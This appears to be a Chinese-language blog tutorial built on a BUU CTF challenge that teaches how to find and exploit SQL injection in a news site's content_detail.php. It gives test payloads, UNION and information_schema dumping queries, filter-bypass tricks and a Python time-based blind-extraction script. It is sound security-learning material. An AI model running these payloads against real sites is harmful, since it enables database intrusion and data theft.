三亩地 三亩地SAN MU DI · CODE DIARY
ARTICLE DETAIL

日记详情

真实记录编程学习的某一天,欢迎挑你感兴趣的翻一翻。

从一道BUU SQL题看Web安全:实战中如何发现隐藏的SQL注入点(以backend/content_detail.php为例)

从一道BUU SQL题看Web安全:实战中如何发现隐藏的SQL注入点(以backend/content_detail.php为例)

从一道BUU SQL题看Web安全:实战中如何发现隐藏的SQL注入点

在Web安全领域,SQL注入始终是最常见且危害性极大的漏洞之一。许多初学者往往只关注如何利用已知的注入点进行攻击,却忽略了更关键的第一步——如何在实际环境中发现这些隐藏的注入点。本文将以一道经典的BUU SQL题目为例,深入剖析Web应用安全审计中的"侦察"环节,帮助安全爱好者培养发现漏洞的敏锐嗅觉。

1. 突破思维定式:寻找非常规注入点

大多数SQL注入教程都会从登录框开始讲解,这导致许多初学者形成思维定式,认为注入点只存在于明显的表单提交处。然而在实际场景中,经验丰富的开发者往往会对登录功能进行严格防护,而忽略其他看似"无害"的接口。

以我们分析的新闻站为例,其登录系统采用了以下防护措施:

  • 输入过滤和参数化查询
  • 失败次数限制
  • 验证码机制

常见被忽视的潜在注入点包括

  • 内容详情页(如/content_detail.php?id=1)
  • 搜索功能
  • 分页参数
  • 排序参数
  • 文件下载接口
  • RSS订阅链接

提示:现代Web应用的防护重点往往集中在核心功能,边缘功能反而可能成为突破口

2. 系统性侦察方法论

2.1 网站结构分析

首先需要全面了解目标网站的功能架构:

# 使用curl获取网站目录结构示例 curl -s http://example.com | grep -oP 'href="\K[^"]+' | sort -u

通过分析,我们发现了以下关键端点:

  • /backend/content_detail.php
  • /api/getComments
  • /search.php
  • /archive/

2.2 参数收集与分类

对所有发现的URL参数进行分类评估:

参数类型示例风险等级测试优先级
数字型ID?id=1★★★★★
搜索关键词?q=test★★★☆☆
分页参数?page=2★★★☆☆
排序字段?sort=date★★☆☆☆

2.3 基础测试技巧

针对数字型参数的基础测试步骤:

  1. 正常访问确认功能可用性:?id=1
  2. 逻辑真测试:?id=1 and 1=1
  3. 逻辑假测试:?id=1 and 1=2
  4. 注释测试:?id=1'--
  5. 延时测试:?id=1 and sleep(5)
# 简单的自动化测试脚本示例 import requests base_url = "http://example.com/backend/content_detail.php" test_cases = [ ("正常访问", "id=1"), ("逻辑真", "id=1 and 1=1"), ("逻辑假", "id=1 and 1=2"), ("注释测试", "id=1'-- "), ("延时测试", "id=1 and sleep(5)") ] for desc, param in test_cases: try: r = requests.get(f"{base_url}?{param}", timeout=10) print(f"{desc}: {r.status_code} - {len(r.text)} bytes") except Exception as e: print(f"{desc}: Error - {str(e)}")

3. 深入漏洞验证技术

3.1 布尔盲注识别

当页面没有明显错误回显时,可以通过布尔逻辑判断注入是否存在:

  • 正常内容:?id=1
  • 异常内容:?id=1 and 1=2
  • 长度对比:比较响应体大小
  • 关键词检测:检查特定文本是否出现

3.2 联合查询定位

确定存在注入后,进一步确认列数和显位点:

  1. 判断列数:?id=1 order by 4--
  2. 定位显位:?id=-1 union select 1,2,3,4--
  3. 获取基础信息:
    • @@version
    • database()
    • user()

3.3 信息收集技术

获取数据库结构的系统化方法:

-- 获取所有数据库 union select 1,group_concat(schema_name) from information_schema.schemata -- 获取当前数据库表 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- 获取表字段 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'

4. 防御规避与高级技巧

4.1 绕过常见过滤

当遇到基础防护时的应对策略:

过滤项绕过方法示例
空格使用注释/**/或括号?id=1/**/and/**/1=1
关键词大小写混合/编码?id=1 AnD 1=1
单引号使用十六进制?id=0x61646d696e
等号使用like或rlike?id=1 and 1 like 1

4.2 盲注优化技术

对于没有明显回显的情况:

  • 基于时间的盲注:if(ascii(substr(database(),1,1))>100,sleep(5),0)
  • 基于布尔的状态码差异
  • 基于响应长度的推断
# 自动化盲注脚本核心逻辑 def extract_data(query): result = "" for i in range(1, 50): low = 32 high = 126 while low <= high: mid = (low + high) // 2 payload = f"if(ascii(substr(({query}),{i},1))>{mid},sleep(2),0)" start = time.time() requests.get(f"{base_url}?id=1 and {payload}", timeout=3) elapsed = time.time() - start if elapsed > 1.5: low = mid + 1 else: high = mid - 1 if low > 32: result += chr(low) else: break return result

Web安全审计是一门需要耐心和细心的技术活。在实际测试中,我经常发现开发者会花大力气保护登录功能,却忽略了一个简单的GET参数。记住:每个参数都是潜在的入口点,每个功能都可能成为突破口。保持怀疑一切的态度,系统性地检查每个输入点,这才是发现隐藏漏洞的关键。

← 返回列表